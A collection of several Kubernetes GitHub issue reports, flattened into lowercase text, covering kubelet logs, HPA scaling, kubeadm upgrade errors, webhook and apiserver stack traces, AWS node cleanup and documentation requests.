imagefs info: unable to find data for container /\r server.go:129  starting to listen on 0.0.0.0:10250\r server.go:299  adding debug handlers to kubelet server.\r fs_resource_analyzer.go:66  starting fs resourceanalyzer\r status_manager.go:140  starting to sync pod status with apiserver\r kubelet.go:1767  starting kubelet main sync loop.\r kubelet.go:1778  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r volume_manager.go:247  starting kubelet volume manager\r container_manager_linux.go:583   containermanager : fail to get rootfs information unable to find data for container /\r kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r kubelet_node_status.go:82  attempting to register node kube-node-01\r kubelet_node_status.go:127  node kube-node-01 was previously registered\r kubelet_node_status.go:85  successfully registered node kube-node-01\r kuberuntime_manager.go:918  updating runtime config through cri with podcidr 10.0.1.0/24\r docker_service.go:343  docker cri received runtime config &runtimeconfig{networkconfig:&networkconfig{podcidr:10.0.1.0/24,},}\r kubelet_network.go:196  setting pod cidr:  -> 10.0.1.0/24\r kubelet_node_status.go:792  node became not ready: {type:ready status:false lastheartbeattime:2018-02-10 09:28:58.555971962 +0000 utc m=+0.439479696 lasttransitiontime:2018-02-10 09:28:58.555971962 +0000 utc m=+0.439479696 reason:kubeletnotready message:container runtime is down}\r container_manager_linux.go:583   containermanager : fail to get rootfs information unable to find data for container /\r container_manager_linux.go:583   containermanager : fail to get rootfs information unable to find data for container /\r

 \r \r   what happened  :\r hi, we've upgraded one of our clusters to 1.9 however since then autoscaling has been not working -- the amount of instances was kept constantly at the level we scaled it to before applying hpa. does not matter whether we use the rest metrics or the oldschool heapster api.\r \r   how to reproduce it  as minimally and precisely as possible   :\r unsure honestly, it seems to work fine for other hpas for other people.\r \r   anything else we need to know?  :\r \r i've tracked it down to this:\r  pkg/controller/podautoscaler/replica_calculator.go \r    \r       if math.abs 1.0-newusageratio  <= c.tolerance ||  usageratio < 1.0 && newusageratio > 1.0  ||  usageratio > 1.0 && newusageratio < 1.0  {\r                // return the current replicas if the change would be too small,\r                // or if the new usage ratio would cause a change in scale direction\r                return currentreplicas, utilization, rawutilization, timestamp, nil\r }\r    \r \r however in our case the values were as follows:\r  newusageratio: %!s float64=0.14545454545454545 , usageratio: %!s float64=1.7818181818181817  \r which means it was triggering the last || ored check.\r \r the pods have request/limit of 1 cpu, they actively cannot use more. the usage was around 990 - 999m with hpa target at 75% cpu so it was supposed to trigger.\r \r i was trying to understand the usageratio - whether it is <0; +inf  and 1.0 being the mid-point or  -inf; +inf  to scale down/up, sadly ran out of time. will see if i can do further tracking down later this week or if somebody will know : \r \r meanwhile commenting out the odd 1.0 checks seems to have worked and it is scaling fine either way.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2/1.9.3  tested both \r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : debian\r - kernel  e.g.  uname -a  : 4.9.x branch  debian stretch \r - install tools: manual\r \r ashley

  \r @liggitt wdyt?\r @kubernetes/sig-auth-feature-requests \r \r ref https://github.com/kubernetes/kubernetes/issues/58790

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r upgrading from  1.9.6  to  1.10.0  using  kubeadm  an error is thrown:\r \r    \r  preflight  running pre-flight checks.\r  upgrade  making sure the cluster is healthy:\r  upgrade/config  making sure the configuration is correct:\r  upgrade/config  reading configuration from the cluster...\r  upgrade/config  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  upgrade/config  fatal: could not decode configuration: unable to decode config from bytes: v1alpha1.masterconfiguration: kubeproxy: v1alpha1.kubeproxy: config: v1alpha1.kubeproxyconfiguration: featuregates: readmapcb: expect { or n, but found \ , error found in  10 byte of ...|regates\ :\ \ ,\ healthz|..., bigger context ...|24h0m0s\ },\ enableprofiling\ :false,\ featuregates\ :\ \ ,\ healthzbindaddress\ :\ 0.0.0.0:10256\ ,\ hostnameov|...\r    \r \r running  kubectl -n kube-system get cm kubeadm-config -oyaml > kubeconfig.yaml  followed by  kubeadm config upload from-file --config=kubeconfig.yaml  i receive a hint about the issue:\r \r    \r kubeadm config upload from-file --config=kubeconfig.yaml\r unable to decode config from \ kubeconfig.yaml\   converting  v1.configmap  to  v1alpha1.masterconfiguration : api not present in src \r    \r \r \r   what you expected to happen  :\r successfully upgrade to  1.10.0 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r execute:\r    \r kubeadm upgrade plan\r    \r this cluster already received the following upgrade paths:\r  1.8.3  ok   ->  1.9.3  ok   ->  1.9.6  ok   ->  1.10.0  failed   \r \r   anything else we need to know?  :\r \r   environment  :\r    \r kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  bare metal \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux k8s-master-0 4.9.0-6-amd64  1 smp debian 4.9.82-1+deb9u3  2018-03-02  x86_64 gnu/linux\r    \r - install tools: \r    \r kubeadm version: &version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - others:\r

we had mutating webhooks on delete operation. after updating to kubernetes 1.11, it is failing.\r stacktrace:\r \r    \r 1 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ expected pointer, but got invalid kind\ }\r \r goroutine 9882  running :\r runtime/debug.stack 0xc4200b2008, 0xc42b3bdae8, 0x1 \r \t/usr/local/go/src/runtime/debug/stack.go:24 +0xa7\r runtime/debug.printstack  \r \t/usr/local/go/src/runtime/debug/stack.go:16 +0x22\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.enforceptr 0x0, 0x0, 0xc42045a740, 0xc4201a6210, 0x6b58cd0b7ea986de, 0xc423ee1248, 0x1 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/helper.go:33 +0x159\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .doconversion 0xc420ac0700, 0x0, 0x0, 0x0, 0x0, 0x8, 0xc426845d40, 0xc42b3bdc88, 0x407533, 0xc42b3bdd68 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:498 +0x50\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convert 0xc420ac0700, 0x0, 0x0, 0x0, 0x0, 0x8, 0xc426845d40, 0x40e8da4000000000, 0xc42b3bddc8 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:480 +0xb6\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime.  scheme .convert 0xc420820a20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc42b3bde78, 0x1 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/scheme.go:484 +0x28a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating.  mutatingdispatcher .dispatch 0xc4203d5680, 0x5127e80, 0xc4200ae018, 0xc4261bf3e0, 0xc4267b9710, 0x1, 0x1, 0x1, 0x8 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating/dispatcher.go:77 +0x47b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/generic.  webhook .dispatch 0xc420c35540, 0x5147c00, 0xc42ee9f860, 0x370a579b, 0x97306c891 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/generic/webhook.go:201 +0x39b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating.  plugin .admit 0xc420e15ee0, 0x5147c00, 0xc42ee9f860, 0x7f69b7d8db20, 0xc420e15ee0 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating/plugin.go:95 +0x42\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics.pluginhandlerwithmetrics.admit 0x50f0e40, 0xc420e15ee0, 0xc4203d5770, 0xc4203d5800, 0x1, 0x1, 0x5147c00, 0xc42ee9f860, 0x1, 0x7f69b7604ea8 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics/metrics.go:85 +0xca\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.chainadmissionhandler.admit 0xc420363e00, 0xb, 0x10, 0x5147c00, 0xc42ee9f860, 0x370a1933, 0x973068a27 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/chain.go:35 +0xf5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics.pluginhandlerwithmetrics.admit 0x50f4620, 0xc420e76660, 0xc420390960, 0x0, 0x0, 0x0, 0x5147c00, 0xc42ee9f860, 0x1, 0x7f69b7604ea8 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics/metrics.go:85 +0xca\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.audithandler.admit 0x50f0d80, 0xc420e752c0, 0x0, 0x5147c00, 0xc42ee9f860, 0xc4289f5501, 0x7f69b7604e40 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/audit.go:56 +0xf1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.deleteresource.func1 0x511dd80, 0xc4267b9620, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/delete.go:108 +0xdaf\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumenthandlerfunc.func1 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:247 +0x1e0\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.  crdhandler .servehttp 0xc420392580, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:236 +0x4a2\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc429a43480, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x266\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4206641c0, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x8a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c8ede7, 0x17, 0xc420af2000, 0xc4206641c0, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:154 +0x6a8\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc427060800, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:254 +0x3de\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc420664a10, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x8a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c6ef0a, 0xe, 0xc4200cecf0, 0xc420664a10, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:154 +0x6a8\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc42d3224d0, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x169\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42c7937c0, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x266\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc425b96770, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x8a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c71e64, 0xf, 0xc429a213b0, 0xc425b96770, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:154 +0x6a8\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:64 +0x4bd\r net/http.handlerfunc.servehttp 0xc42a7a08c0, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:160 +0x3fc\r net/http.handlerfunc.servehttp 0xc42a79def0, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x1ce4\r net/http.handlerfunc.servehttp 0xc42a7a0900, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dda00 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:75 +0x2b3\r net/http.handlerfunc.servehttp 0xc42a7a0940, 0x7f69b7603ed0, 0xc4267b9618, 0xc4252dd900 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc42a797320, 0x5128f00, 0xc4267b9618, 0xc4252dd900, 0xc426a15080 \r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:97 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/home/ac/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:96 +0x1b5\r    \r \r i tried to debug and this is what i found:\r \r 1. https://github.com/kubernetes/apiserver/blob/kubernetes-1.11.0/pkg/endpoints/handlers/delete.go l106\r 2. https://github.com/kubernetes/apiserver/blob/kubernetes-1.11.0/pkg/admission/plugin/webhook/generic/webhook.go l201\r 3. https://github.com/kubernetes/apiserver/blob/kubernetes-1.11.0/pkg/admission/plugin/webhook/mutating/dispatcher.go l77\r 4. https://github.com/kubernetes/apimachinery/blob/kubernetes-1.11.0/pkg/runtime/scheme.go l484\r 5. https://github.com/kubernetes/apimachinery/blob/kubernetes-1.11.0/pkg/conversion/converter.go l498\r \r  attr.attributes.getobject    is nil. calling  enforceptr nil   causes this error. i see that the code path has not changed since 1.10. but we don't see the same error in 1.10 minikube cluster. i can't explain that. \r \r we have stopped using mutating webhook on delete operation anyway, since it does not make much sense. but i thought i should file a bug just in case.\r \r  

if you look at the releases for k8s.io/metrics, there's a release https://github.com/kubernetes/metrics/releases/tag/kubernetes-1.12.0-invalid, which doesn't seem to actually correspond to the state of the deps as of 1.12  there appear to be commits missing that are presenting in the staging dir of the actual k8s 1.12 release .\r \r @kubernetes/sig-api-machinery-misc are you the ones that maintain this?\r @nikhita @sttts this seems like it may be vaguely related to  69214

 \r   what happened  :\r after upgrading 1.11.1 -> 1.12.0 , when a node gets terminated in aws, the controller-manager doesn't delete the node in the api. \r this has lead to several side effect for us : \r   pods don't get gc\r   prometheus alerts firing because 100 of nodes are in the notready state for a long period\r \r   what you expected to happen  :\r kube-controller-manager deletes the node when it stops reporting, after checking with the cloud provider.\r \r   how to reproduce it  as minimally and precisely as possible   :\r looking at the code, i believe this is what introduced the behaviour change : \r https://github.com/kubernetes/kubernetes/issues/58635 - https://github.com/kubernetes/kubernetes/pull/60009\r \r the node gets tainted with  node.cloudprovider.kubernetes.io/shutdown:noschedule  because it's in a terminated state. but it doesn't get removed because it still \ exists\  in the cloud provider.\r \r the behaviour is probably correct for a shutdown node, but in aws a terminated node can't be restarted so there's no good reason to keep it there ?\r \r   environment  :\r - kubernetes version : 1.2.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos\r \r  sorry for the all the sigs, not sure who it belongs to \r   

hello, how does kubernetes support ipv6 network? i don't know how to configure it. now i know that calico supports ipv6, and i use kubeadm to deploy kubernetes\r

the  getting started on centos  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/centos/centos_manual_config.md  should be updated to track the latest changes.current version is quite out of date. for example:  1, it does not clearly describe the prerequistes. it even does not say centos7. 2, it says very little about the os setup. 3, the repo  virt7-testing  given by this guide is too old  kubernetes 0.18.0 . 4, the configuration files varies a lot from the old version 0.18.0, it is the result of problem stated as above 3. for example:     -  kube_api_address  still uses the deprecated  --address  where it is recommended to use  -insecure-bind-address  instead. this also applies to  kube_api_port      - it does not say anything about how to setup service account  private  key file which is needed by the newer version of kubernetes 5, users cannot specify the version of kubernetes and its dependencies such as etcd  they want to install.  what do you think about it?

follow on to  13326. when the node registers with the master, it should probably tell the master its host fingerprint as well. then when we try to tunnel back, if anything hinky happens like  13326, it's easy to detect.  cc @cjcullen

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-cluster/4/  failed:  k8s.io  dns horizontal autoscaling kube-dns-autoscaler should scale kube-dns pods in both nonfaulty and faulty scenarios {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_autoscaling.go:76 expected error:     < errors.statuserror | 0xc420c25900>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ configmaps \\\ kube-dns-autoscaler\\\  not found\ ,             reason: \ notfound\ ,             details: {                 name: \ kube-dns-autoscaler\ ,                 group: \ \ ,                 kind: \ configmaps\ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 404,         },     }     configmaps \ kube-dns-autoscaler\  not found not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_autoscaling.go:74       previous issues for this test:  36569

i was looking at api sever logs and noticed a stacktrace for usage of not-registered api resource localsubjectaccessreviews. all tests are still passing  to the same extent as they were  which means that we have two problems:\r - we don't fail our tests in case of 405's  which i think is bad if unexpected @kubernetes/test-infra-maintainers @dchen1107 \r - we partially enabled localsubjectaccessreviews feature  whatever this is  @kubernetes/sig-api-machinery\r \r  you can look at pretty much any recent test run, e.g. https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce/1365/artifacts/bootstrap-e2e-master/kube-apiserver.log \r \r cc @wojtek-t @deads2k \r \r    \r i1213 11:54:21.733640       5 panics.go:76  get /apis/authorization.k8s.io/v1beta1/namespaces/e2e-tests-kubectl-d3rfj/localsubjectaccessreviews:  365.415µs  405\r goroutine 38373  running :\r k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc420225730, 0x195 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:219 +0xbb\r k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc420225730, 0x195 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:198 +0x35\r k8s.io/kubernetes/pkg/apiserver.writenegotiated 0x40d85a0, 0xc420338420, 0x0, 0x0, 0x0, 0x0, 0x40d4d60, 0xc420225730, 0xc426d04690, 0x195, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:464 +0x162\r k8s.io/kubernetes/pkg/apiserver.errornegotiated 0x40b94a0, 0xc426e8bb00, 0x40d85a0, 0xc420338420, 0x0, 0x0, 0x0, 0x0, 0x40d4d60, 0xc420225730, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:481 +0x103\r k8s.io/kubernetes/pkg/apiserver.serviceerrorhandler 0x40d85a0, 0xc420338420, 0x195, 0x27dea86, 0x17, 0xc423fd9f80, 0xc422690180 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/serviceerror.go:41 +0x222\r k8s.io/kubernetes/pkg/apiserver.installserviceerrorhandler.func1 0x195, 0x27dea86, 0x17, 0xc423fd9f80, 0xc422690180 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/serviceerror.go:30 +0x65\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch.func5 0xc423fd9f80, 0xc422690180 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:250 +0x110\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  filterchain .processfilter 0xc423fd9f50, 0xc423fd9f80, 0xc422690180 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/filter.go:21 +0x95\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4205e6b40, 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:254 +0x497\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x48\r net/http.handlerfunc.servehttp 0xc42029c7b0, 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r net/http.  servemux .servehttp 0xc420389fb0, 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/usr/local/go/src/net/http/server.go:2022 +0x7f\r k8s.io/kubernetes/pkg/apiserver/filters.withauthorization.func1 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/filters/authorization.go:50 +0x327\r net/http.handlerfunc.servehttp 0xc42022fe00, 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/pkg/apiserver/filters.withimpersonation.func1 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/filters/impersonation.go:44 +0x1c69\r net/http.handlerfunc.servehttp 0xc42022fe40, 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/pkg/auth/handlers.withauthentication.func1 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/auth/handlers/handlers.go:73 +0x2c2\r net/http.handlerfunc.servehttp 0xc4206700a0, 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/pkg/api.withrequestcontext.func1 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:107 +0xef\r net/http.handlerfunc.servehttp 0xc42066e240, 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/pkg/genericapiserver/filters.withpanicrecovery.func1 0x40d4d60, 0xc420225730, 0xc426d04690 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/genericapiserver/filters/panics.go:75 +0x24a\r net/http.handlerfunc.servehttp 0xc4203376e0, 0x7fd0c6a591d0, 0xc421f149a0, 0xc426d04690 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/pkg/genericapiserver/filters.  timeouthandler .servehttp.func1 0xc42066e2e0, 0x40da3a0, 0xc421f149a0, 0xc426d04690, 0xc4226900c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/genericapiserver/filters/timeout.go:89 +0x8d\r created by k8s.io/kubernetes/pkg/genericapiserver/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/genericapiserver/filters/timeout.go:91 +0x1db\r \r logging error output: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ the server does not allow this method on the requested resource\\\ ,\\\ reason\\\ 